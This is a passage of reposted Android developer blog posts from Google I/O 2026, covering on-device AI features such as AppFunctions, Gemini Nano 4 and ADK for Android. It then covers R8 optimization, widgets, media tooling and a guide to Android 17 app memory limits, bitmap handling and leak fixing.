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  <br></div></name><h4><name content="IMG" twitter:image=""><b><span>1. Putting your apps at the center of the intelligence system</span></b></name></h4><name content="IMG" twitter:image=""><div>The Android OS already enables agents like <a href="https://www.android.com/gemini-intelligence/?utm_source=blog.google&amp;utm_medium=owned&amp;utm_campaign=next">Gemini</a> to complete task automation, where it can navigate an app on the users behalf. </div><div><br></div><div><a href="https://developer.android.com/ai/appfunctions">AppFunctions</a> (Android MCP) provides you with more control over how your app integrates with the intelligence system. This new platform API and Jetpack library are currently available in experimental preview. </div><p></p><ul><li><name content="IMG" twitter:image=""><b>Android MCP:</b> AppFunctions allows your application to act as an on-device Model Context Protocol (MCP) server. It means you seamlessly share your app's tools, services and data to the system and agents.</name></li></ul><p></p><p></p><ul><li><name content="IMG" twitter:image=""><b>Streamlined Development: </b>You can leverage the new <a href="https://github.com/android/skills/tree/main/device-ai/appfunctions">skill</a> to easily generate AppFunctions within your codebase.  </name></li></ul><p></p><p></p><ul><li><name content="IMG" twitter:image=""><b>Exploration and Testing:</b> We’ve released a new <a href="https://github.com/android/appfunctions/releases">test agent</a> that allows you to experiment and debug your AppFunctions in a simulated agent environment. </name></li></ul><span><div align="center" dir="ltr"><table><colgroup><col></colgroup><tbody><tr><td><div><span face='"Google Sans Text", sans-serif'>Early Access Program</span><span face='"Google Sans Text", sans-serif'>: Want to be among the first apps to deploy app functions in production? </span><a href="https://docs.google.com/forms/d/e/1FAIpQLScEoIsgzE-LbgRrYcQMc-Lit_5VlKRA0iWw7Pvg1brIc8wXAw/viewform"><span face='"Google Sans Text", sans-serif'>Join</span></a><span face='"Google Sans Text", sans-serif'> our early access program today!</span></div></td></tr></tbody></table></div></span></name></div><div><br></div><div>To see it in action, check out the live demo showcased during the <i>What’s New</i> in Android presentation.</div><div><br></div><div class="separator">
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  <div><div><span><br></span></div><h4><b> <span>2. On-Device Power with Gemini Nano 4 Preview</span></b></h4><br><div>Last month, we launched <a href="https://android-developers.googleblog.com/2026/04/gemma-4-new-standard-for-local-agentic-intelligence.html">Gemma 4</a>, our state-of-the-art open models. You can already preview and prototype with the next generation of Gemini Nano (Nano 4) models with the <a href="https://developers.google.com/ml-kit/genai/aicore-dev-preview">AIcore developer preview</a>. To make productionizing with Gemini Nano more reliable and performant, we are adding a few new features in <b>ML Kit GenAI APIs</b>: </div><br><p></p><p></p><ul><li><b>Prototype to Production: </b>Transition from prototyping in the AICore Developer Preview to building production-ready apps using the ML Kit GenAI <a href="https://developers.google.com/ml-kit/genai/prompt/android/get-started">Prompt API</a> to leverage Gemini Nano 4 that’s launching in flagship devices later this year.</li></ul><p></p><p></p><p></p><ul><li><b>Structured Output:</b> The upcoming Structured Output API will allow you to define object classes to be returned as outputs from Prompt API, ensuring reliable outputs in productionizing your intelligent features. </li></ul><p></p><p></p><ul><li><b><a href="https://developers.google.com/ml-kit/genai/prompt/android/prefix-caching">Prefix Caching</a>:</b> It optimizes your on-device inference performance with the prompt API. The new Prefix caching reduces inference time by storing and reusing the intermediate LLM state of processing a shared and recurring part of the prompt.</li></ul><p></p><div><b><br></b></div><div>For highly customized or niche use cases, you can also use LiteRT-LM to <a href="https://youtu.be/boy-UjB8hpA?si=MCPddRD7eblz8ICr">bring your own</a> fine-tuned small language model to Android.</div></div><br><div class="separator">
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</div><div class="separator"><br></div><div class="separator"><br></div><b><div><b><span>3. Hybrid Inference &amp; Agents</span></b></div></b><div><div><br></div><div>To help you build more advanced AI features like hybrid inference and explore building in-app agents, we’ve released new APIs, framework and guidances:</div><p></p><p></p><ul><li><b><a href="https://android-developers.googleblog.com/2026/04/Hybrid-inference-and-new-AI-models-are-coming-to-Android.html">Firebase AI Logic Hybrid Inference</a>: </b>This new API provides the simple routing capability between on-device models and powerful cloud infrastructure. You can set explicit orchestration modes, such as <code>PREFER_ON_DEVICE</code>, <code>PREFER_CLOUD</code>, <code>ONLY_ON_DEVICE</code>, or <code>ONLY_CLOUD</code>, based on your need.</li></ul><p></p><p></p><p></p><ul><li><b>A2UI Jetpack Compose Renderer:</b> The new A2UI library allows your agents to "speak UI". With the upcoming Jetpack Compose Renderer, you can automatically render these A2UI messages as native UI components.</li></ul><p></p><p></p><ul><li><b><a href="https://developers.googleblog.com/adk-kotlin-android-building-ai-agents/">ADK for Android</a>:</b> The first version of ADK for Android is available for experimentation. It allows you to build multi-agent workflows across both on-device and Cloud models while managing orchestration, context handling and sessions between agents.</li></ul><div><br></div><div>From building with on-device models, exploring hybrid inference to building agents, you can see them in action in this talk: </div></div><div> <br><p></p><div class="separator">
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  </div><div class="separator"><br></div><div class="separator"><h3>Start Building Today</h3><div class="separator"><div class="separator"><div class="separator">Whether you are experimenting with AppFunctions to prepare for the intelligence system, or looking to bring the power of Google’s AI within your own app, we’ve got you covered. Dive deeper into the code snippets, samples and comprehensive developer guides on the Android AI <a href="https://developer.android.com/ai">hub</a>. For the full breakdown of what’s new, check out the official <b>AI on Android at Google I/O 2026</b> <a href="https://www.youtube.com/playlist?list=PLWz5rJ2EKKc-GL3584TkxUyoPfzPkB1mV">playlist</a>.</div><div class="separator"><br></div><div class="separator">We are excited to see what you build! </div><div><br></div></div><div><br></div></div></div></div></div></div></div></div>]]></content:encoded>
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<title><![CDATA[Building Premium Android Experiences at Google I/O ‘26]]></title>
<description><![CDATA[Posted by Ataul Munim, Android Developer Relations Engineer



  
    
  



  A truly differentiated Android experience is about delivering premium delight wherever your users are. At Google I/O ‘26, we showcased how the latest advancements in the Android ecosystem can help you elevate your app'...]]></description>
<link>https://tsecurity.de/de/3693509/android-tipps/building-premium-android-experiences-at-google-io-26/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693509/android-tipps/building-premium-android-experiences-at-google-io-26/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:42 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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  <div class="separator"><em>Posted by Ataul Munim, Android Developer Relations Engineer</em></div>
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  A truly differentiated Android experience is about delivering premium delight wherever your users are. At Google I/O ‘26, we showcased how the latest advancements in the Android ecosystem can help you elevate your app's quality while maximizing development efficiency.
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  <p>To help you build apps that stand out, we're diving into the key tools and libraries designed to optimize your core performance, extend the surfaces of your app to other devices, and streamline how your app handles high-quality media. </p>
  <p>Here is a recap of the essential updates and sessions you need to know to deliver a next-level experience across form factors!</p>
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<h3>Maximize app performance and ROI with the R8 Configuration Analyzer</h3>
<p>A premium experience is only as good as its foundation, and a performant foundation is what allows your app to scale across the Android ecosystem. This is especially true with the release of Android 17, which introduces conservative, device RAM-based app memory limits to target extreme memory leaks and outliers before they cause system-wide instability. To stay below these new system thresholds and prevent your app from being terminated, having a lean footprint is no longer optional: it’s a critical requirement.</p>
<p>This year, we’re making it easier to build highly optimized, fast apps by introducing the <a href="https://developer.android.com/topic/performance/app-optimization/r8-configuration-analyzer" target="_blank">R8 Configuration Analyzer</a> in Android Studio. R8 is your most powerful tool for improving app performance, but its effectiveness is often limited by overly broad "keep rules" that prevent the compiler from stripping away unused code. The new Configuration Analyzer provides optimization, obfuscation, and shrinking scores, allowing you to identify specific rules that are preventing the benefits of R8 optimization.</p>
<p>By optimizing their R8 configurations, developers at Monzo achieved a 30% improvement in cold starts and a 35% reduction in ANRs. Smaller, faster code isn't just about efficiency; it's about ensuring your app has the memory headroom to deliver delight on every form factor, from the phone to the car.</p>

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<h3>Extend your reach with a unified approach to Widgets on Phones, Watches and Cars</h3>
<p>User interaction is shifting toward quick, glanceable moments—short bursts of information that keep users connected without needing to open the full app. To help you increase the reach of your app content, we are unifying the development experience across the Android ecosystem with Jetpack Glance. By using a consistent, Compose-based model, you can elevate the content most important to your users straight to the phone’s home screen, Wear Widgets (previously Tiles!), and cars with a familiar workflow.</p>
<p>In order to help users engage with your content and features, even outside your app, we are making widgets more expressive and adaptive with RemoteCompose. On Wear OS, RemoteCompose allows you to use the Compose tools you’re already comfortable with to define UI logic that renders natively on remote surfaces, ensuring that your glanceable experiences remain highly performant and responsive even on resource-constrained hardware. On mobile and cars, RemoteCompose is used as a new framework giving Widgets new expressive capabilities.</p>
<p>You can use Jetpack Glance (together with RemoteCompose on Wear) to deliver a cohesive user journey. Whether it’s viewing flight status on the car dashboard, checking a gate change on a watch, or managing a boarding pass from a phone widget, this shared approach maximizes your app’s presence while keeping your development effort focused and efficient.</p>

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  <h3>Supercharge your media pipeline with a complete, production-ready toolkit</h3>
  <div>Android has become a world-class home for the entire media lifecycle, and we are simplifying the journey from the first capture to the final playback. By leveraging Jetpack CameraX and Media3, you can build professional-grade experiences that feel native across the entire ecosystem. </div>
  <p>It starts with high-fidelity capture using the CameraXViewfinder Composable, which ensures your preview remains perfectly scaled and responsive on any form factor, including foldables and tablets. Use this to build adaptive capture experiences like a picture-in-picture view for multi-tasking, or that take advantage of modern features like high-frame-rate or slow-motion capture with CameraX v1.5.<br></p>
  <p>The new Media3 AI Effects library will provide a unified interface for premium features like Image &amp; Video Enhance, Magic Eraser, and Studio Sound. This allows you to focus on the creative intent while Media3 handles the heavy lifting of choosing the most efficient and reliable path for the device. Then, use the latest improvements in multi-asset editing with Media3 Transformer to composite your edited videos together!</p>
  <p>Complete the pipeline with tools designed for professional-grade export and viewing, including:</p>
  <ul>
    <li>CodecDB, which offers data-driven encoding recommendations tailored to specific chipsets, ensuring your exported videos maintain high visual quality with minimal noise or blurriness</li>
    <li>Scrubbing Mode in ExoPlayer to provide the buttery-smooth seeking experience users expect from premium media apps</li>
    <li>Enhanced Cast support with the new CastPlayer API in Media3</li>
  </ul>
  <p>By unifying these technical pillars, you can build a cohesive, high-performance media journey that delivers both delight for your users and high ROI for your development team.</p>
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<p>For more details, check out the <i>premium</i> Android experience <a href="https://youtube.com/playlist?list=PLWz5rJ2EKKc8lSdmWQ_fSpV9yEGRvEL6S&amp;si=H6-8-AbtEyTqSxeY" target="_blank">YouTube playlist</a>.</p>]]></content:encoded>
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<title><![CDATA[Prioritizing Memory Efficiency: Essential Steps for Android 17]]></title>
<description><![CDATA[Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer



    
        
    



    While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which thes...]]></description>
<link>https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:41 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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    <em>Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer</em>
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    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhanYZz4QpaDuwP7y_ZVGCUh6TpdQxS65pBcYr-Qkawd9YFS587tnIUPnqDROlxIXzgdz6GGxluR3LzH8ZabQPWz382FDEOEDpK3GxUFywn0A54JXFtUwDPaeI0JnFhEl-6NRrcjKeFPMLozNQv_An9OcWEUA-rmXfOhWvIKRrptdblGEZHERD0P-ynFcc/s4209/Engineering-Memory-Blog-3.png">
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<p>
    While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which these visible metrics are built. It's no secret that we're seeing a shift where device memory is more important than ever. Not only have we made strides in Android memory optimizations with Android 17, we're providing the tooling and API support to help you stay ahead of stricter memory requirements later this year.
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    To ensure device stability, starting in Android 17, the system will begin enforcing app memory limits based on the device's total RAM. If an app exceeds those limits, Android will kill the process with no associated stack trace.
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    Beyond these forced terminations, unoptimized memory usage inevitably degrades the user experience. When the app approaches heap memory limits, it triggers frequent garbage collection—leading to noticeable UI stutters. Furthermore, when a device runs out of available memory, the system scrambles to reclaim pages, causing CPU strain, UI latency, and battery drain. If the memory shortage is too severe, it can cause Low Memory Killer (LMK) events that abruptly terminate background processes and force apps to have slow cold starts and lose user state.
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    <p>To build highly performant apps and avoid these forced terminations, we recommend that you adopt the following memory optimization strategies:</p>
    <ol>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Maximize">Maximize bytecode optimization with R8</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Optimize">Optimize image loading</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Detect">Detect and fix memory leaks with Android Studio</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Trim">Trim memory when app leaves visible state</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Advanced">Advanced memory observability with ProfilingManager</a></li>
    </ol>
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    <div>
        <em>A condensed version of this blog post is also available in video format, go check it out!</em>
    </div>
    
    <h3>Understanding Android 17 app memory limits</h3>
    <p>App memory limits are being introduced in Android 17 to prevent "one bad actor" from destroying the multitasking experience and stability of the user’s entire device.</p>
    <p>Here is a breakdown of the reasons driving this architectural change:</p>
    
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        <ul>
            <li><b>Preventing cascading kills:</b> When an app becomes bloated or leaks memory while holding a privileged state (e.g. it’s running a Foreground Service), it is initially shielded from the system's Low Memory Killer (LMK). As this single app grows unchecked and hoards RAM, the LMK is forced to compensate by killing off dozens of smaller, well-behaved cached apps and background jobs to reclaim space for the memory hog.</li>
            <li><b>Preserving multitasking and user state:</b> When the system is forced to purge cached apps to accommodate a single leaking process, the multitasking experience is severely degraded. Users returning to prior cached applications encounter sluggish cold starts instead of near-instant warm resumes. This inefficiency generates more CPU strain and accelerates battery depletion. It can also destroy the user’s context in recently used apps, such as scroll positions, navigation stacks, and in-game progress.</li>
        </ul>
        
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            <p>To determine if your app session was impacted by these constraints in the field, you can call <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo#getDescription%28%29" target="_blank">getDescription()</a> within <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo" target="_blank">ApplicationExitInfo</a>. If the system applied a limit, the exit reason is reported as <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo#REASON_OTHER" target="_blank">REASON_OTHER</a> and the description string will contain "MemoryLimiter:AnonSwap". You can also leverage <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/trigger-based-capture" target="_blank">trigger-based profiling</a> using <a href="https://developer.android.com/about/versions/17/features#anomaly-profiling-trigger" target="_blank">TRIGGER_TYPE_ANOMALY</a> to automatically capture heap dumps when the memory limit is reached. Furthermore, Android is actively working to surface more in-field memory metrics to developers within the Google Play Console.</p>
            <p>We have also expanded our <a href="https://developer.android.com/about/versions/17/behavior-changes-all#app-memory-limits" target="_blank">memory limits documentation</a> to include local debugging commands, allowing you to simulate memory constraints in your local environment and validate your application's behavior under any memory limit enforcement. </p>
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    <h3>Maximize bytecode optimization with R8</h3>
    <p>A highly effective way to reduce your app's memory footprint is to enable the R8 optimizer. By shrinking classes, methods, and fields into shorter names and stripping out unused code and resources, R8 significantly reduces your app's memory footprint by minimizing the amount of resident code required during execution. </p>
    <p>R8 minimizes resident code, shrinking the memory footprint and lowering LMK termination risk. This results in more frequent warm starts over slow cold starts. Additionally, streamlined bytecode reduces main-thread CPU overhead, directly cutting ANR rates for a more fluid user experience. For example, the digital bank <a href="https://developer.android.com/blog/posts/monzo-boosts-performance-metrics-by-up-to-35-with-a-simple-r8-update" target="_blank">Monzo</a> enabled full R8 optimization and saw a 35% reduction in their ANR rate, a 30% improvement in cold start rate, and a 9% reduction in overall app size.</p>
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    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB61hi7-o6RYAHNOoIg1egyi6iU3iGtLbwfOb-s6r_PadBV2LZzvYtcdD00iwcApjnqmwOssOLFSHv8MG_es8WJWaJUPaO6rMY4ZcINSBFROo_1Di3LVMvIEhPldpzQsUOxV1Z7VfPwvej2fa9a7yCNwBdGOGw2LMLtPrCST6InlqF1xHds30rS76C9no/s2500/pic1-IO26_113_TSV-monzo-casestudy.jpg">
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    <i>The digital bank <a href="https://developer.android.com/blog/posts/monzo-boosts-performance-metrics-by-up-to-35-with-a-simple-r8-update" target="_blank">Monzo</a> enabled full R8 optimization and boosted performance metrics by up to 35%.</i>
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    <p>To properly configure R8 in your <code>build.gradle</code> file:</p>
    <ul>
        <li>Set <code>isShrinkResources = true</code> and <code>isMinifyEnabled = true</code>.</li>
        <li>Use <code>proguard-android-optimize.txt</code> instead of the legacy <code>proguard-android.txt</code>, which actually prevents optimizations and is no longer supported in Android Gradle Plugin 9.</li>
        <li>Remove <code>android.enableR8.fullMode = false</code> from your <code>gradle.properties</code>.</li>
    </ul>
    
    <p>
        If you are using reflection in your code base, then add <a href="https://developer.android.com/topic/performance/app-optimization/keep-rules-overview#where-to-add-rules" target="_blank">Keep rules</a> to prevent R8 from optimizing those parts of the code. Make sure to scope the keep rules narrowly to get the maximum optimization.
    </p>
    <p>To get the maximum optimization, make sure to follow these best practices in your keep rule file.</p>
    
    <ul>
        <li>Remove global options like <code>-dontoptimize</code>, <code>-dontshrink</code>, and <code>-dontobfuscate</code> that prevent R8 from optimizing the entire codebase </li>
        <li>Remove keep rules that prevent optimizing Android components like Activity, Services, Views or Broadcast receivers.</li>
        <li>Refine the broad package wide keep rules to target only specific classes or methods.</li>
    </ul>
    
    <p>To see more best practices, view our <a href="https://developer.android.com/topic/performance/app-optimization/keep-rules-best-practices" target="_blank">keep rules documentation</a>.</p>
    
    <h3>Library Developer R8 Best Practices</h3>
    <p>If you are a library developer, strictly place the rules your consumers need into your <code>consumer-rules</code> file, and keep your library's internal protection rules in your <code>proguard-rules.pro</code> file. For more information on how to optimize libraries, see <a href="https://developer.android.com/topic/performance/app-optimization/library-optimization" target="_blank">Optimization for library authors</a>.</p>
    
    <h3>R8 Configuration Analyzer</h3>
    <p>To audit your R8 optimization, use the <b><a href="http://developer.android.com/r8-analyzer" target="_blank">Configuration Analyzer</a></b>. Configuration analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores. With configuration analyzer, you can also understand how many classes, methods or fields are prevented from optimization by each keep rule. Refine these broad package wide keep rules to unlock the maximum optimization.</p>
    <p>Using configuration analyzer, you can also identify keep rules that are subsuming other keep rules, redundant keep rules and unused keep rules.</p>
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    <i>The Configuration Analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores.</i>
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    <h4><span>R8 Agent Skill </span></h4>
    <p>You can also leverage the <b><a href="https://github.com/android/skills/tree/main/performance/r8-analyzer" target="_blank">R8 Agent Skill</a></b> with Android Studio agent or other AI tools to resolve misconfigurations and refine your rules resulting in improved app performance. <i>(Insights from AI-driven skills will require technical verification)</i></p>
</div>

<h3>Optimize image loading</h3>
<div>
    <p>Bitmaps are usually the largest common objects residing in your app's memory. They represent the final stage of the image loading process where compressed files, like JPEGs or PNGs, are decoded into raw pixel data for display. This means a tiny 100KB compressed image can balloon into several megabytes of RAM because memory consumption is determined by the image's pixel dimensions and color depth. Since bitmap operations are frequently on the critical path to drawing frames, unoptimized images cause severe memory bloat and UI jank.</p>
    <p>Google recommends leveraging image loading libraries <b><a href="https://github.com/coil-kt/coil" target="_blank">Coil</a></b> for Kotlin-first projects, particularly when developing with Jetpack Compose and <b><a href="https://github.com/bumptech/glide" target="_blank">Glide</a></b> for Java-based applications.</p>
    
    <h4><span>Adopt these five best practices</span></h4>
    <ol>
        <li><b>Downsample images:</b> If you’re loading bitmaps manually, avoid loading a massive image into a tiny thumbnail view; use <a href="https://developer.android.com/topic/performance/graphics/load-bitmap" target="_blank">inSampleSize</a> to load a smaller version. Glide and Coil downsamples images by default and you can configure this downsample strategy using <a href="https://bumptech.github.io/glide/javadocs/470/com/bumptech/glide/load/resource/bitmap/DownsampleStrategy.html" target="_blank">DownsampleStrategy</a> and <a href="https://coil-kt.github.io/coil/image_loaders/" target="_blank">ImageLoader</a> respectively.</li>
        <li><b>Cropping:</b> Avoid embedding padding directly into an image file for letterboxing purposes (e.g., creating a transparent border to expand an image dimensions). Rather than baking in these borders, utilize <a href="https://developer.android.com/reference/android/graphics/drawable/InsetDrawable" target="_blank">InsetDrawable</a> or apply padding directly within the View or Composable containing the bitmap.</li>
        <li><b>Config:</b> Balance memory and quality by choosing the right pixel format. Use <code>RGB_565</code> when transparency isn't needed, which uses half the memory of the default <code>ARGB_8888</code> format. In Glide you can configure this by using <a href="https://bumptech.github.io/glide/javadocs/470/com/bumptech/glide/load/DecodeFormat.html" target="_blank">DecodeFormat</a> and in Coil you can use <a href="https://coil-kt.github.io/coil/api/coil-core/coil3.request/-image-request/" target="_blank">bitmapConfig</a> property.</li>
        <li><b>Prioritize vector drawables:</b> For basic geometric assets, leverage <a href="https://developer.android.com/reference/android/graphics/drawable/ShapeDrawable" target="_blank">ShapeDrawable</a> as a lightweight alternative to decoding rasterized bitmaps. By defining these assets once via XML, you ensure they scale seamlessly across all display densities while effectively eliminating resource-driven memory bloat.</li>
        <li><b>Reuse:</b> If your application manages Bitmaps manually then to minimize memory churn, when a bitmap is no longer required, the app should call <code>bitmap.recycle()</code> and immediately discard the Bitmap reference. If you use an image loading library like Glide or Coil, return the bitmap to the library’s managed pool. By providing an existing buffer for future memory needs, the pool effectively avoids the overhead of new allocations.</li>
    </ol>
    
    <p>Check out our documentation on <a href="https://developer.android.com/develop/ui/compose/graphics/images/optimization" target="_blank">Optimizing performance for images</a> to learn more.</p>
    
    <h4><span>Android Studio tooling</span></h4>
    <p>You can also eliminate redundant bitmaps using Android Studio Narwhal 4. Here is how to hunt them down in five simple steps:</p>
    <ol>
        <li>Open the <b>Profiler</b> tab in Android Studio</li>
        <li>Click <b>Heap Dump</b> (or "Analyze Memory Usage") and hit record to take a snapshot of your app’s current memory state.</li>
        <li>Scan the analysis results for the <b>yellow warning triangle</b> ⚠️, which Android Studio uses to flag duplicate bitmaps being stored multiple times. Alternatively, navigate to the profiler header, choose "Filter by:" and pick the "Duplicate Bitmaps" setting.</li>
        <li>Click on any flagged entry to open the <b>Bitmap Preview</b> pane, allowing you to see exactly which image is the repeat offender.</li>
        <li>Use that visual confirmation to track down the redundant loading logic in your code and implement a better caching strategy.</li>
    </ol>
</div>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDJ6djtozFY7DzrGB-EN8ajLVueF9MdLd4mod4jhtO8YwCzU7ObOwQ2w0Bap5A5NHJ7KVnXIRQqhW8cTdcFhMJPw5FIW1WU7D_Mwm-UC9Fsdr-MOn62xijpjKcS0NeUBnO957jmogGEISNQgeZQk3BVvUWK4BknTjLiuK2TbWCqwO3uTLkjkFhLwJre7w/s2379/pic3-IO26_113_TSV%20-dup-bitmaps-cropped.jpg"><img border="0" data-original-height="1162" data-original-width="2379" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDJ6djtozFY7DzrGB-EN8ajLVueF9MdLd4mod4jhtO8YwCzU7ObOwQ2w0Bap5A5NHJ7KVnXIRQqhW8cTdcFhMJPw5FIW1WU7D_Mwm-UC9Fsdr-MOn62xijpjKcS0NeUBnO957jmogGEISNQgeZQk3BVvUWK4BknTjLiuK2TbWCqwO3uTLkjkFhLwJre7w/s16000/pic3-IO26_113_TSV%20-dup-bitmaps-cropped.jpg"></a></div><div class="separator"><i>Look for the yellow warning triangle ⚠️ in heap dumps when using the Android Studio Profiler.</i></div>

<h3>Detect and fix memory leaks with Android Studio</h3>
<p>Memory leaks in Android occur when your code holds onto an object's reference long after its lifecycle has ended. This prevents the Garbage Collector (GC) from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError (OOM).</p>
<p>Android Studio Panda 3 features a dedicated <a href="https://square.github.io/leakcanary/" target="_blank">LeakCanary</a> profiler task, allowing developers to analyze real-time memory leaks and map traces within the IDE.</p>
<p>The LeakCanary profiler task in Android Studio actively moves the memory leak analysis from your device to your development machine, resulting in a significant performance boost during the leak analysis phase as compared to on-device leak analysis.</p>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKBixtkwy1hzwA6mikjRX_6vBJ9OQ_RCYdF94HUF8kOLYzQoQrPMLh_6h9u6EGeLzgFc8yjxg3_8zlqWIDCvKa1py5gyxDXasl8JLPDHSEgPpzPyYqzcme69rRKtfIlhMtyNRWXutGXNy-4WcefhSTBhqBgobK678fqvNqL5peOz1UD6ouunLaKPmJCw0/s2048/pic4-android-studio-leaks.png">
        <img border="0" data-original-height="975" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKBixtkwy1hzwA6mikjRX_6vBJ9OQ_RCYdF94HUF8kOLYzQoQrPMLh_6h9u6EGeLzgFc8yjxg3_8zlqWIDCvKa1py5gyxDXasl8JLPDHSEgPpzPyYqzcme69rRKtfIlhMtyNRWXutGXNy-4WcefhSTBhqBgobK678fqvNqL5peOz1UD6ouunLaKPmJCw0/s16000/pic4-android-studio-leaks.png">
    </a>
</div>
<div>
    <i>LeakCanary memory leak analysis contextualized with <b>Go to declaration</b> for debugging</i>
</div>

<p>Additionally, the leak analysis is now contextualized within the IDE and fully integrated with your source code, providing features like go to declaration and other helpful code connections that drastically reduce the friction and time required to investigate and fix memory leaks.</p>

<div>
    <h4><span>Examples of common memory leaks </span></h4>
    <p>Memory leaks occur when an object persists in memory beyond its intended lifespan. This typically happens due to:</p>
    <ul>
        <li>Retaining references to Fragments, Activities, or Views that are no longer in use.</li>
        <li>Mismanaging Context references.</li>
        <li>Failing to properly unregister observers, listeners, and receivers.</li>
        <li>Creating static references to objects that are bound to components with shorter lifecycles.</li>
    </ul>
    
    <p>Here are a few example scenarios:</p>
    
    <div align="left" dir="ltr">
        <table>
            <colgroup>
                <col>
                <col>
                <col>
            </colgroup>
            <tbody>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Scenario</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Compose-based example</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">View-based example</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Context</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Passing LocalContext.current to a ViewModel</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Keep <code>Context</code> dependent logic within the UI layer. For non-UI layers, refactor to use <a href="https://developer.android.com/training/dependency-injection">dependency injection</a> or observe UI state using <a href="https://developer.android.com/kotlin/flow">Kotlin flow</a>.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Storing an <code>Activity</code> in a companion object or static variable.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Don’t hold static references to UI components. Refactor to use <a href="https://developer.android.com/training/dependency-injection">dependency injection</a> or observe UI state using <a href="https://developer.android.com/kotlin/flow">Kotlin flow</a>.</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Listeners</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Using <code>DisposableEffect</code> to start a listener but leaving <code>onDispose</code> empty.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Perform the unregistration and <a href="https://developer.android.com/develop/ui/compose/side-effects#disposableeffect">cleanup logic</a> inside the <code>onDispose</code> block.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Registering for SensorManager updates and forgetting to unregister.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Manually call <code>unregisterListener()</code> in <code>onStop()</code> or <code>onDestroy()</code> lifecycle.</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Views</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Holding a reference to a legacy <code>View</code> inside an <code>AndroidView</code> without a release strategy.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Use the <code>release</code> block of the <code>AndroidView</code> composable to clean up the legacy <code>View</code>.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Keeping a reference to a view binding object after the <code>Fragment</code> is destroyed.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Set the binding variable to <code>null</code> inside the <code>onDestroyView</code>() lifecycle method.</span></p>
                    </td>
                </tr>
            </tbody>
        </table>
    </div>
</div>

<h3>Trim memory when app leaves visible state</h3>
<p>Android can reclaim memory from your app or stop your app entirely if necessary to free up memory for critical tasks, as explained in <a href="https://developer.android.com/topic/performance/memory-overview" target="_blank">Overview of memory management</a>. Android will usually reclaim memory from your app when it’s not visible to the user, such as by discarding some of your app’s code and data pages in memory or compressing your heap allocations. When the user resumes your app and your app tries to access some memory that’s been reclaimed, the OS will swap that memory back in on demand. This swapping behavior can be slow, and cause unexpected jank or stutters in your app.</p>
